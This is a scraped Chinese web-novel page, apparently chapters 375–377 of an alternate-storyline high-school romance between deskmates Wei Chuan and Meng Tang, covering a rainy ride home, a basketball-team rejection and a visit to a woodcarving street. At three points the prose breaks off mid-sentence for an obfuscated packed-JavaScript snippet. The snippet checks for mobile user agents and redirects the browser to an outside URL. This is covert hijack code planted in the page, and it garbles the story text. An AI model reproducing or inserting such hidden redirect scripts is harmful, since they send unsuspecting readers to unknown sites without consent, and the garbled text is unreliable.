孟棠说:“这样的天气,爷爷会亲自来,晚上不**全,跟你的顺风车,他应该会放心一点。” 魏川:“那你赶紧跟老头说一声,别让他跑了,大晚上的,确实不**全,跌了碰了就不好了。” 孟棠应了声,挂了电话。 回到画室,梁菲菲拉着孟棠问:“魏川给你打电话干什么?” “你好八卦。” “说一下嘛。”梁菲菲晃着孟棠的手臂。 “今晚他家阿姨开车来接他,让我蹭顺风车,我把你也带上了。”孟棠看向她,“让我俩放学在画室等他,应该是带了伞过来。” “靠,他人真好啊。”梁菲菲十分欣赏,“不过他以前对同桌也这么热心吗?可惜啊,不知道他在z中时候的情况。” 孟棠因为她这句话,心口莫名跳了下。 她不是没有感觉,魏川对她和对班里其他人确实不太一样。 就拿靳若涵来说,几次三番想找他搭话,都被他敷衍过去了。 孟棠看得清清楚楚,当时魏川连余光都没给一个,眉心微微蹙着,有点不耐烦,完全没有面对她的好脾气。 那副漫不经心,高冷疏离的样子大概才是他的真实性格吧? 第二节晚自习上到一半,雨停了。 有些人松了口气,结果放学的时候又开始下大。 晚上大门口放开,允许家长进门接孩子。 阿姨给魏川送了伞,魏川拿到伞,对阿姨说:“你先上车,我去接人。” 阿姨都来不及说什么,他打着伞消失在昏暗的雨幕中。 画室一楼的走廊里站了一排人。 “真服了,上课的时候不下雨,一到放学的点就开始下。” “我也以为中途能停呢。” “能有我惨?我爸妈从不来接我,天上下刀子,我都得自己走回去。” “确实惨,要不跟公交吧。” “只能这样了。” 很多人在抱怨,魏川的大长腿跨进长廊,收起伞。 前头的几个人都认识他,窃窃私语他怎么会在这里,眼神时不时就得飘过来。 “你好。”魏川逮到最前面的人,“请问画室的人都出来了吗?” “差不多都出来了,你接人吗?” 魏川点了点头:“我接孟棠。” 我靠!竟然是接孟棠的。 周围几个女生八卦的眼神顿时亮了起来,彼此看了眼,藏不住兴奋的光芒。 整个雁清中学,和魏川交集最深的就是孟棠,两人还是同桌,其实关于他俩的讨论度在学校还是很高的。 不等魏川喊人,几个女生齐齐回头喊孟棠的名字。 孟棠和梁菲菲被挤在门口,闻言才知道魏川已经过来了。 她和梁菲菲顺着人群往前走,极力忽视那些落在她身上的目光。 终于看到前头的大高个,梁菲菲兴奋地挥了挥手。 孟棠走到魏川的面前,客气地说:“麻烦你了。” “麻烦什么啊。”魏川将长柄伞递给她,“你跟你同学打一把伞。” “谢谢。”孟棠接过伞,打开,挽着梁菲菲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118313|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一起进了雨幕。 雨太大,即便打着伞也很难让裤腿保持干燥,还没走到教学楼,三个人的鞋袜全都湿了。 但这也没办法,好在天气不算太冷。 怕他俩找不到车,魏川在前领路。 换了辆低调的车后,周遭的视线少了很多,魏川打着伞,拉开后座的车门,对梁菲菲说:“你先进。” 梁菲菲进了后座,魏川去接孟棠的伞,一个没注意,碰到了她的手,很凉。 孟棠下意识将伞给了他,进了后座上,两手交叠在一起搓了下,动作很无意识。 魏川看了她一眼,关上了车门,自己上了副驾。 阿姨平时是很温柔的,但开车的时候不会说话,更别提又是晚上,又是雨天的。 魏川知道梁菲菲的家在哪儿,跟阿姨说了地址后,系上了安全带。 手机铃声响起,是魏川家里人打来的。 他接起:“妈。” 梁菲菲和孟棠对视一眼,用口型无声说:“他妈妈?” 孟棠点了点头。 “阿姨来接了,没有淋雨……” 楚茵打了十来分钟的电话,魏川一直都有耐心地回着,没有一句不耐烦。 孟棠和爷爷一起长大,对于一般家庭的相处模式只知道大概,倒是梁菲菲很讶异魏川能那么耐心地跟父母聊那么长时间。 语气没有一丝不耐烦,梁菲菲自己就有弟弟,就比她小两岁,一言不合就和父母吵。 车辆终于开始顺畅起来,很快停到了梁菲菲的小区门口。 魏川示意孟棠将伞给她,梁菲菲说:“给我个折叠的吧,长柄的太大了,你送孟棠回去的时候,能装得下你俩。” 魏川觉得他说得有道理,就将自己的折叠伞给了她。 车辆再次启动,不能再跟着导航走,魏川在副驾给阿姨指路。 孟棠的手机也响了起来,孟遇春问她到哪儿了。 孟棠看了眼窗外,说:“已经拐弯了,一分钟。” “我在大门口等你呢。” “知道了。” 挂断电话,孟棠对前面的魏川说:“我爷爷在大门口等我,你待会儿不用下车送我进去,今天谢谢你。” 话音刚落,魏川已经看到了孟遇春。 他稍稍降下车窗打了招呼,孟遇春赶紧说:“今天谢谢你了,车窗赶紧升上去吧,有空再招呼你。” 孟棠下了车,又给魏川道了声谢。 毕竟还在下雨,也不是客气的时候,魏川挥了挥手,示意阿姨继续开车。 孟棠刚进屋,方姐催她:“赶紧洗个热水澡,我再给你煮个姜汤驱驱寒,感冒了就不好了。” “好。” 孟棠将脏衣服脱下,脱一般的时候摸到口袋的手机,干脆给魏川发了条信息:【你回家让你阿姨给你煮个姜汤,防止感冒。】 魏川看到信息,笑了声,脱掉湿了的鞋子,捧着手机上楼,一边走一边回复。 “我的小祖宗,赶紧去洗个澡啊。”阿姨快急**,“我给你煮个驱寒的汤。” 魏川回头“哦”了声:“你跟孟棠家的阿姨挺心有灵犀的,要不下次给你俩介绍一下?” “我来是照顾你的,不是来交朋友的,大少爷。” “认识一下怎么了,跟我妈就说你特意跟人家学习学习雁清菜的做法,就说我想吃。” “……好好好,你想吃我就学,你现在先去洗澡行吗?” 魏川笑了声,继续给孟棠发信息。 孟棠进了浴室,看到了他的信息:【咱俩真是心有灵犀,我刚要给你打电话。】 孟棠:“……” 谁跟你心有灵犀。 【你现在肯定在心里吐槽我,不信的话,我猜猜你现在在干什么?】 孟棠:【你猜。】 魏川:【肯定要去洗澡,因为我已经进了浴室。】 孟棠脑补了魏川在浴室的样子,突然摇了摇头,一阵眩晕后觉得有点奇怪,为什么要聊到洗澡这个话题? 她默默回复了一句:【没有,我在补试卷。】 魏川:【哦?哪张试卷?】 孟棠:【英语的单元卷。】 魏川:【你是说夹在你英语书里的,还剩下作文没写的单元卷?】 孟棠:【……】 第375章 【if线 20】他要告白吗 好在隔着屏幕,魏川看不到孟棠的尴尬,她索性不回了。 洗完澡才发现魏川又连着给她发了好几条信息。 “……话真多。”孟棠擦着头发,嘀咕了句。 魏川见孟棠一直没理他,以为孟棠被他逗**了,想要打电话,又怕她休息了。 最后也只能给阿姨打电话,让她多准备一份精致的早餐,打算明早给人赔罪。 因为这事,他第二天提前十几分钟到了教室。 其他同学见状有些惊讶,因为往常,魏川都是卡点到的。 不知情的以为他在家睡懒觉,其实魏川不到五点就起床练球去了。 他居住的地方就有篮球场地,不过被投诉过一次后他就不在小区打了。 而是直接到学校的操场上打,很多人不知道他们还在睡梦中,他已经到了学校的篮球场。 这件事,只有周沉、梁璐和一些校领导知道,哦,还有保卫科。 每天五点,准时给他开门。 魏川回到座位上,余光瞥了眼孟棠,见她在做昨天晚上说到的英语试卷,默默将红色的饭盒推了过去。 孟棠疑惑地撇过脸:“干嘛?” “黑松露芝士滑蛋火腿三明治,阿姨做多了,带一份给你。”魏川说。 “你怎么知道我没吃早饭?”孟棠似有戒备。 “真没吃啊?”魏川又拿出一瓶牛奶递过去,“正好,趁老班没来之前赶紧吃,省得低血糖了。” 孟棠看了眼手表,五分钟应该能吃完吧? 她肚子空空,经受不住诱惑,直接打开了饭盒,里面躺着的三明治精致可爱,分量还不轻。 孟棠拿起三明治,微微低下了头。 “你吃吧,我给你挡着点,老师来了我会提醒你的。”魏川贴心道。 孟棠点了点头,仓鼠似的,大口大口吃完了三明治,差点没噎着。 魏川见状,忙将牛奶插上吸管递给她。 孟棠道了声谢,一口气喝下三分之一,终于吃饱了。 班主任进了教室后,整个教室都安静下来,她要直接提人背书。 没有提到孟棠和魏川,两人互相看了眼,不自觉松了口气。 直至早读课下,魏川才问了句:“你也没背啊?” 孟棠点了点头:“这几天有点忙,学习的事情跟不上。” “忙什么?画室吗?”魏川朝她伸手,“保温杯给我,我顺道去打水。” “我杯子里有水,你自己去吧。” 魏川杯子里也有水,他不自在地轻咳了声:“突然懒得走了,待会儿去吧。” 孟棠却起了身,魏川给她让道:“你干嘛去?” “我去走廊晃一下,有点撑,你家的三明治太大了。” 魏川干脆起身和她一起从后门出去了。 “你跟着**什么?”孟棠有些奇怪。 “没跟你,教室里空气不太好闻,我呼吸一下新鲜空气。”魏川见她捂着胃部,又道:“真的吃撑了,也没多大啊。” “阿姨按照你的饭量做的吧?”孟棠轻哂,“里面都是双倍的料。” “你吃不下怎么还吃光了?”魏川不太理解。 “我当着你的面扔掉也不太好吧?”孟棠的眼睛很大,忽闪忽闪地看着他。 “总比撑坏了自己要好点。”魏川指了指窗口,“要不我去给你买点健胃消食片?” “夸张,我一会儿就好,不过你早上都吃这些吗?” 魏川不答反问:“你家不吃?” “很少吧,方姐早上一般会做点营养粥,或者豆浆油条,水煮蛋豆腐脑。” 魏川说:“我这个是我身体需要这样吃,因为要打球,是我爸妈找人搭配的营养餐,阿姨就按照菜单来做了。” 孟棠无意识地点了点头,原来打个球这么讲究。 其实是有钱人讲究,雁清这些打篮球的一日三餐正常吃,而从魏川的话语里可以得知,他以前在z市读书的时候,是有专门餐食的。 “我下次给你带小份量的。”魏川特地补充了一句。 “不用。”孟棠眸底划过好奇,“你今天怎么想着给我带早餐了?” 其实孟棠也惊讶自己竟然接受了他的早餐,目前为止,她只吃过梁菲菲带的早餐。 但梁菲菲和魏川又不一样。 “昨晚你没回我,我还以为生我气了。”魏川嘿嘿一笑,“求和来了。” 孟棠:“……我没生气,只是你不觉得咱俩后来的话题有点偏了?” 他还揭她的短,孟棠也犹豫了很久,结果看着手机屏幕直接睡着了。 “魏川。” 后门又出来一个人。 魏川回眸,看着来人:“找我?” 周飞点了点头:“你能不能告诉我,为什么不让我进篮球队?” 话音刚落,走廊里玩闹的学生下意识回眸看着他们。 学校里都传篮球队是魏川砸钱组织的,是他的一言堂。 “审核你的人不是我。”魏川的表情冷了下来,“既然没进,就是不达标,这有什么好说的?” “可周老师只是问了我几个问题而已,就说我不合格,我提出质疑也很正常。”周飞不甘心。 魏川看在同学一场的面上,还是给他解释了一遍:“因为时间紧迫,我们不需要零基础的,很显然,你不符合条件。” “我会打篮球。”周飞有些激动,他其实看重了球队的各种福利。 魏川点点头,目光扫过周飞,语气平淡得没有一丝波澜:“以前打过比赛吗?非正式的也行,比如那种队与队,校与校之间的友谊赛。” 周飞表情一僵,这个问题就是周沉问的第一个问题。 “没有。”周飞的表情有些僵硬,“但我投篮的命中率还是挺高的,我昨天下午还练了呢,不信你问钟文进。” 跟着过来的钟文进立刻点了点头:“确实命中率很高,三分球十进七呢。” 魏川没理会钟文进,接着又问:“知道自己擅长什么位置吗?防守的时候,弱侧补位要注意什么?” 周飞支支吾吾道:“我擅长投篮,打得分后卫就行……补位的话,跟着球跑不就好了?” 魏川蓦地笑出了声,听在周飞耳中,无疑是讽刺。 他的脸“腾”地一下,红了,满目羞耻,双眸含火地看着魏川:“有必要这么讽刺吗?” 魏川没在乎他这理直气壮的态度,紧接着问了第三个问题: “如果最后十秒,我方落后一分,球在你手里,对方两人包夹,你会怎么做?” “当然是自己投啊!”周飞想都没想就喊了出来,“这样机会更大吧。” 魏川无奈地摇了摇头:“你不合适,回教室吧。” 一盆冷水直接浇了下来,周飞不理解,也不服气:“不是,光说我不合适,你倒是给个理由啊?你队里不是缺人吗?你是不是故意针对我?” “我没那闲工夫故意针对你。”魏川有些心累,“篮球是团队运动,我问你的问题,一则说明你没有团队意识,二则说明你不懂防守的逻辑,防守不是被动跟随,是预判,是保护队友,是堵死对方的进攻路线,你连防守的基本常识都不懂,怎么跟队友配合?” 周飞激动地反驳:“可队友之间都是需要磨合的,你不是跟我打过一次球,你应该知道。” “就是跟你打过一次球,我才知道你不合适球队。”魏川眼神里多了几分严肃,“两人包夹,你投篮的命中率会大幅下降,就算你手感好,也有失手的可能。但如果你传球,队友有空位,得分的概率更高,赢球的希望也更大,你这样的人,一时半刻是改不掉这样的毛病的,而我,没有时间陪你过家家。” 这话已经很不客气了,周飞的脸色青一片紫一片。 可他偏偏不懂得进退,魏川也就不需要再给他脸面,每句话都攻击在他的弱点上: “你说你投篮准,可篮球场上,得分只是一部分。没有防守,没有配合,就算你能得再多分,对方也能靠团队配合追上。” “对于篮球,你连皮**都不懂,以为进球就能得分,抱歉,这样的人,我收不起。” 周飞捏着拳头,余光飞快地瞄了眼孟棠后,转身回了教室。 走廊上的人也陆续回去,魏川呼出一口气,转头看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123918|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟棠:“看着**什么?你也觉得我说话很重?” 孟棠摇摇头:“我只是觉得,这个世界上,能听懂拒绝的人真的很少。” 魏川一愣,随即笑出了声:“我同意你这个观点。” 周飞就是太自信,被拒绝了还以为魏川欠他的。 魏川的心情本来因为周飞不太爽,结果晚上接到了段思齐的信息,说他和陈瑞同意入学雁清。 魏川高兴地捶桌,惊醒了周边一片。 孟棠也被吓了一跳,梁璐看过去,“啧”了声:“干什么?” “没事没事。”魏川赶紧将手机藏好,“解了一道难题,我高兴。” 梁璐说:“安静做题。” “好嘞。” 魏川给孟棠写了张纸条:【段思齐同意来我们学校了。】 怪不得这么高兴,孟棠回:【恭喜。】 魏川傻笑了声,一晚上都保持着亢奋的状态。 等他下个礼拜转过来,他们就可以举办入队仪式了,高一高二年级删删减减,周沉又找了四个人。 周六他们决定正式认识一下,聚个餐。 学校专门训练的场地还在建设中,他们暂时就在操场和体育生混为一体。 周五放学后,魏川和孟棠一前一后出了教室,没有同行。 他俩走得比较迟,这会儿楼道里几乎没人了,孟棠没注意到魏川在她身后不远的地方。 刚出楼道,她就被周飞拦住了去路。 魏川脚步一顿,快速走到一楼教室的后门位置。 “明天去木雕馆吗?”周飞问孟棠。 孟棠点了点头:“去的。” 周飞说:“我听说馆里挂了新的展品,挺想去的,结果满脑子都是篮球队的事!” 孟棠神色一怔:“你为什么非要去篮球队?” 周飞说:“你也不同意我去?” 孟棠:“……你用错词语了,你去不去,不是我同意的,没事的话,我先走了。” “我就是想约你一起去木雕馆的。”周飞赶紧说,“其实那天你也在,魏川对我是有点敌意的吧?” 为什么又扯到这个话题了,孟棠十分无奈,抬手看了眼手表:“我真的要走了,晚上回家还有事。” 周飞听不懂似的:“我只是觉得——” “他只是在选适合球队的人。”孟棠平静地打断他,“你不合适,仅此而已。” 周飞愣住:“你怎么还帮他说话?咱俩不是朋友吗?” “其实我跟你只能算得上同学吧。”孟棠说,“很多事情,我跟你说不来。” “孟棠,自从你和他成了同桌后就变了好多。”周飞用一副不可思议的口吻说,“明明以前咱俩很好啊,一起去木雕馆,你做木雕,我当志愿者,可你现在都不爱搭理我了。” 魏川躲在暗处翻了个白眼,这人真的一点分寸都没有,且极度自信。 他看孟棠的眼神,是喜欢的,但喜欢得不纯粹,总觉得杂糅着什么。 “周飞,你说话真的很奇怪。”孟棠一向好脾气,此时也有点受不了了,“我第一次在木雕馆里见到你,是你想要那支雕刻的钢笔,让我给你开个后门,我说不行,你又说是开玩笑的。” “结果你自己去了几次都没把笔赢下来,这个是有题库的,多去几次都会知道,说明你根本没有认真,或者说志不在笔。” “那现在你能说说,为什么总是去木雕馆做志愿者吗?” 魏川蹙起眉,这厮还觊觎过他的笔? 哦不对,当时还不算是他的笔,他还远在z市呢。 周飞没有因为孟棠的质问而尴尬,反倒是扭扭捏捏红了脸。 糟糕,魏川在心里暗叫不好,他不会没有自知之明的要表白吧? 魏川脑子里闪过各种各样的猜测,眼见周飞挣扎着要开口,赶紧冲了出去。 “诶?你俩怎么还没走?” 周飞被突然出来的魏川弄得一怔,所有的话堵在喉咙,他的表情十分不爽,仿佛魏川阴魂不散。 孟棠回眸,看到魏川有些无语。 魏川心中郁闷,她什么眼神和表情?难道自己是打扰她和周飞了? 第376章 【if线 21】夸了他 因为魏川的出现,周飞什么都没能对孟棠说,两人在校门口道了别。 魏川在一旁暗自嗤笑,搞得依依不舍,他像是棒打鸳鸯的恶人。 孟棠见他不走,转头招呼了一句:“你不走?” 魏川跟上,瞥她一眼:“你是不是嫌弃我打扰你俩说话了?” 孟棠点了点头。 魏川怔住了,见孟棠没个解释,独自生气了闷气。 谁说新人胜旧人的?鬼扯。 孟棠和周飞周旋了一番,已经心累,她回家还有事,注意力自然没有太多给魏川。 不过魏川就不是能憋着心事的人,两人到了分岔路口,他终于拦住人,问了句: “你要跟周飞说什么?我真的打扰你了?” 语气可怜巴巴,孟棠停下脚步,转身看着他:“你为什么这么在意这个问题?” “我——”魏川噎住,“我有吗?” “你有。”孟棠直勾勾看着他。 魏川清了清嗓子,说:“周飞人品不行,我觉得交朋友要谨慎一点。” 孟棠倒是赞同地点了点头,平静地扔下一枚**:“可我觉得他不想跟我做朋友。” “你知道?”魏川惊讶了,“你知道还跟他说些有的没的?” “就是因为知道他喜欢我,我才需要他今晚把话说出来,再拒绝他。” “呃……”魏川一愣,“你要拒绝他?” 靠,他能现在回头把人抓回来吗? “不然呢?”孟棠也有些无语。 一个人喜不喜欢自己,是能感觉到的。 孟棠能感觉到周飞对她不太一样,不过人家一直没说,只是以同学的身份进行了正常的交往和互动,她总不能对人家不理不睬。 周飞这个人虚荣心很强,爱面子,其实没什么担当,孟棠自小跟着老爷子长大,看人也有两分本事。 本来今天要趁着机会说清楚的,结果被魏川“搅黄”了。 魏川也想清楚其中的关窍,问孟棠:“他是不是经常缠着你?” “不能说是缠吧,不过总会在学校之外的地方碰到他。”孟棠说,“次数多了,也就看出来了。” “因为他没告白,你也不好说什么?所以他找你说话,你就搭几句?” 孟棠点了点头:“我总不能不回他,不过近几次发生的事情,让我有点反感罢了,所以想要摆脱。” “近几次发生的事情?”魏川脑子一转,开心了,“是不是跟我有关?” “你这么开心干什么?”孟棠觉得好笑,“跟你没关系啊,是因为他做的事情我不认同。” “我听到了。”魏川说,“他还想在你面前说我坏话来着。” 想要挑拨离间,结果孟棠都没鸟他。 魏川笑了声,这人还真是低劣。 以为别人不知道他的小心思,其实别人都把他看穿了。 天色渐浓,两人终于道了再见。 周六聚餐的地方是周沉找的,中午十二点左右,一群人分批进了一家看着十分接地气的餐馆。 聚餐这种事不能让魏川组织,不然尽去些吃不饱的地方,价格还贵。 所以这次,他作为教练,主动揽了这活。 晚上气温骤降,家常菜馆的玻璃上蒙上了一层雾气,映出朦朦胧胧的一个角落。 大厅最里侧的大圆桌坐满了人,个个青春飞扬,看着心情都好。 “都到齐了吧?”周沉目光扫过一圈,“今天喊大家出来,主要目的是互相认识一下,再说点事情,等段思齐和陈瑞同学转到我们学校后,我们再举行一个正式的入队仪式。” “老周说得不错,不过现在还是先吃饭吧。”魏川摸了下肚子,“饿了。” 餐桌上笑倒一片。 男生之间本就熟得快,这一群人光聊篮球就能聊半天。 吃饭吃了两个多小时,出来的时候已经快下午三点。 新来的四个人约宋冕几个人去打球,也约了魏川,魏川却突然问:“这里离木雕馆近吗?” “近啊。”段思齐往前指了指,“这条大马路右拐,顺着路一直走就能看到。” “行,”魏川点了点头,“我来雁清快两个月了,明天打算回去一趟,想去买点这里的特产带回家。” 段思齐要不是知道孟棠总在木雕馆出现就信了,不过他面上没有表现出来,反倒是说:“这次转学的事情,谢了。” “谢什么,你不觉得我多管闲事就好。”魏川也怕帮得太多让他误以为欠自己人情。 所以跟周沉说的那些兼职补助都是按照正规流程来的,包括他弟妹的转学,和各类贫困助学金的申请,都是按照流程在走。 段思齐笑了声:“赶紧去吧,可以多逛一会儿,那里很多木雕小玩意还不错。” 像魏川这种家庭,互相之间带礼物,只注重心意。 魏川和一行人告了别后,直奔木雕馆。 木雕馆只是非遗馆其中一座而已,魏川拐了弯走了十几分钟,终于看到了熟悉的路。 他熟门熟路进去,还没到木雕馆,碰到了出来的孟棠。 这么巧?魏川加大步子迎上去:“孟棠。” 孟棠下意识停步看着来人:“你怎么在这儿?” “跟队里的人聚餐,明天要回一趟z市,打算买点木雕的小玩意回去逗我妈妈开心。”魏川跟她解释,“你呢?怎么这个点出来了?不会还没吃午饭吧?” 孟棠忙说:“吃了,周飞过来了,我就趁着上卫生间的时间出来了。” 魏川“啊”了声:“我还想让你帮我掌掌眼呢,那你……就回去了?” 上次的三明治,给他钱他也没要。 天下没有白吃的早餐,孟棠思忖片刻,说:“这样吧,我带你去另一个地方。” “去哪儿?” “到了就知道了,离这里不远,走着过去吧。” 魏川无条件相信她,转身跟她出了非遗馆。 十月的风,已经褪去了盛夏的燥热,裹着几分秋季的冷冽。 人行道两旁的银杏叶还不到满树鎏金的状态,叶片正从青绿过渡到鹅黄。 魏川抬手就够了一片,问孟棠:“这里的银杏叶什么时候进入观赏期?” 人高手欠,他是真爱摘树叶,孟棠失笑:“11月中下旬就好看了。” 那时候金黄铺地,满目秋景。 “有哪个地方看银杏是比较出名的吗?”魏川问。 “有啊。”孟棠回答,“非遗馆附近的文化公园里就有一棵很大的银杏树,下面是青石板,挨着朱红檐角,拍照很有氛围感,很多人会买从非遗馆买了银杏扇去打卡的。” 这些都是当地文旅经营宣传出来的,效果还不错。 “那我到时候想过来欣赏的话,会不会挤不动?”魏川上前跨出一大步,稍稍和孟棠错了身。 “会。”孟棠说,“所以我不去看。” “那今年要去看吗?” 说这句话的时候,魏川放缓了步子,两人离得近了,他能闻到孟棠身上淡淡的木香。 这个味道很特别,因为不是单纯的木香,还混着少女特有的香气,可能是洗衣液的味道,也可能是她家里熏香的味道,总之很好闻。 心跳毫无预兆地快了半拍。 不是很剧烈的撞击,而是很轻、很闷地跳了一下,孟棠下意识抬手捂着,随后意识到什么又放了下去。 她微微垂着眼,长长的睫毛轻轻颤动了两下,指尖轻轻攥了下针织开衫的衣角,连带着呼吸,都放轻了几分,生怕一用力,就泄露了那点莫名其妙的慌乱。 “怎么不说话?” 孟棠面上看不出半分波澜,轻轻点了下头:“……好。” 声音轻得几乎要散在空气里,魏川怔住了,她刚才说了好? 哪次约她都是推三阻四的,这次这么爽快? 魏川很想问为什么,但目的地到了。 孟棠将被风吹到脸色的长发拨开,指了指前头的巷口:“到了,往前再走几十米就是木雕街了,整条街都是手工木雕的铺子,黄杨木的摆件最多,挺适合送长辈的。” “走,去看看。”魏川十分感兴趣。 会挑吗?就走了,孟棠笑着跟上去。 越接近木雕街,空气里黄杨木特有的温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17130185|176522||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 润气息越明显,十分贴合秋日的静谧。 不多时,魏川的眼前便出现了整条街道,青石板路向深处延伸,两侧的木雕铺子挨得紧实,木门木窗全都是木头做的,门窗上雕刻的事物景象古朴雅致。 屋檐下悬挂的灯笼轻轻晃动,暖光与秋阳交织,将整条街烘得暖意融融。 这样的氛围让人极度舒适,莫名安静下来,各家店铺门前的客人们也都轻声细语的。 这条街面不算宽,两侧的铺子前,摆满了各式各样的黄杨木雕,从小巧玲珑的挂件,到古朴厚重的摆件,再到实用的笔筒、镇纸,应有尽有,琳琅满目。 摊主大多坐在小马扎上,或垂眸手持刻刀,或笑盈盈谈买卖。 魏川靠近孟棠,小声问:“他们都会雕刻吗?” 孟棠说:“自然不是全部都会,很多都是机雕,店主只是进货卖而已。” “那我想要买到合心意的岂不是很难?”魏川笑了笑,“不过我有一张王牌。” “什么王牌?”孟棠仰起头。 魏川双手摊开:“你啊,我看有些老师傅的手艺还可以,但和你爷爷没法比,甚至有的也比不上你雕刻的物件。” 孟棠笑道:“承蒙厚爱。” “别谦虚了,赶紧走吧。”魏川拽了下她,隔着衣物,圈住了她的手腕。 孟棠跟着走了几步,抽回了手,欲盖弥彰似的,说道:“这里有不少的匠人,和我爷爷很熟悉,你要是买的话,就买他们家的,手艺很扎实的,料子也是正宗的,你送长辈的话,侧重寓意好、质地温润的就行,不用追求太过繁复的雕工。” 魏川眸底亮晶晶的:“还好碰到了你,你要是选到了我满意的,今晚请你吃饭。” 动不动就请人吃饭,孟棠难得没有拒绝:“好的,大少爷。” 魏川:“……你别调侃我。” “走吧。”孟棠笑了声,“前面左边第三家,手艺很好,去看看。” 魏川按照她说的,来到了一个老人家的铺子前。 看到孟棠,那人先是一愣,随后热情地笑了起来:“小孟棠,你怎么来了?老头我可好久没见你了。” “今天有空,带我同学过来逛一逛,您老有什么上新的啊?” “诶,可不敢在你面前摆弄。”老头指了指自己的摊位,“都在这儿了,自己挑。” 孟棠看向魏川:“自己挑啊,都可以的。” 这就是都可以买的信号,魏川蹲下身,巡视了一圈,看上了一对葫芦挂饰。 老头说:“这是一对的,可以挂包上,也可以挂车里,寓意平安顺遂,不挑人的,比较稳重。” 魏川摸了摸,触手温润,他妈妈一向喜欢葫芦样式的饰品珠宝,买这个准没错。 孟棠拿过坠饰,指着给他看:“你看啊,一左一右,两件的大小、形制、弧度的完全一致,合在一起是完整的一对,分开又是各自完整的挂饰,也能算个情侣饰品了。” “料子呢,是十五年以上老黄杨了,油润感比较足,没有上漆,没有打蜡,只靠手工反复打磨,会越盘越亮。 “而且雕工是浅浮雕,线条干净利落,没有多余的花饰,每一笔都到位。” “‘福’‘禄’二字的笔锋不飘不软,两件拼在一起,纹理、密度、色泽完全一致,是真正的‘同料对挂’,我没想到,你眼光还挺好的。” “真的?”魏川一喜,孟棠夸了他。 她说了这么多,魏川不买都不好意思,当即问了价格。 他是孟棠带来的人,老头也不可能坑他,说了一个比较适中的价格。 魏川看向孟棠,孟棠点了点头。 他开心地付了款,让人家给他包了起来。 “你还要买什么?” “我家里还有姐姐,给她们也买一个吧。”魏川起身,“走,还得麻烦你继续陪我逛。” “没事。”孟棠起身和店主告辞,“我也好久没来这里了,顺道逛一逛,看看有没有我满意的,我也买一件回去。” “你自己不是会雕刻吗?为什么还要买别人的?”魏川有些惊讶。 第377章 【if线 22】没谈过 听到魏川的话,孟棠笑了笑,说:“我是手艺人,但也不代表什么都要自己做吧。” “你看看……”孟棠指了指这条望不到头的街道,“我们这里靠木雕出名,也靠木雕养家糊口,我尊重每一个手艺人的心血,不能说他们在这个犄角旮旯里就不是传承。” 所以她有空过来逛的时候,看到好看合适的会买点回去当装饰品。 孟遇春看到,会点评一番,总说放在家里当摆件的话够格了。 而且传承人雕刻的物件和集市上雕刻的有点区别,他们更偏向于艺术,民间更注重现实。 手艺是用来传承的,不是用来取代别人生计的。 魏川将给父母的葫芦挂饰妥帖收好,转头对孟棠笑了笑:“走吧,再挑四件。” “还要四件?”孟棠有些惊讶,“几个人啊?” 不是只有姐姐吗? 魏川说:“还有一个发小。” “行,往里走吧。” 时间还早,这种店铺适合慢慢逛。 过了五六家,孟棠又在一家铺子前停下,她指了指木雕书签:“适合你姐姐吗?” 魏川拿起看了眼,说:“给我三姐吧,她不爱读书。” 孟棠:“……” 魏川见她无语,笑容里多了点痞气:“你为什么会选这个书签?” 孟棠拿过书签,指尖轻点竹节纹路,说:“手工浮雕,竹节的层次感比较好,又是新黄杨木,色泽比较清爽,挺符合绿竹的气质,也不张扬,比较简约吧,可能是我自己比较喜欢,你还是挑你姐姐喜欢的吧。” “那我三姐确实不合适。”魏川说,“她喜欢张扬的东西,不过我大姐应该挺喜欢的。” 孟棠拿起一件黄杨木缠枝纹小发簪,对孟棠说:“那你三姐应该适合这个。” 发簪不算长,簪头是缠枝莲的造型,花瓣雕得极细,脉络清晰,看着灵动又精致,秀气又百搭。 “不过黄杨木基本不上人工色,讲究自然,这可能和她喜欢的张扬不搭。” 魏川说:“那就这个吧,好歹是我送的,她还能扔了吗?” “那你二姐要送什么?”孟棠笑了笑。 “送个动物摆件吧,她喜欢小动物。” 孟棠仔细瞅了下摊面上的动物木雕,说:“这里,你挑一下。” “我挑一只可爱的猫咪吧,我家里就养猫,跟我二姐挺亲的。” 问了摊主价格,魏川眼皮都没抬一下,直接付了钱。 两人继续逛了会儿,魏川又给发小买了个小物件,眼看时间不早了,他对孟棠说: “时间不早了,这附近有吃的吗?” “有的,沿着路走到头。” 两人走出木雕街,街口的方向,传来阵阵诱人的香气,天气冷了,红薯、炒栗子的甜香抢占了第一波空气。 再往里走,咸香鲜香层层叠叠滚滚而来,魏川一下被勾起了馋虫:“我靠,我好饿啊。” 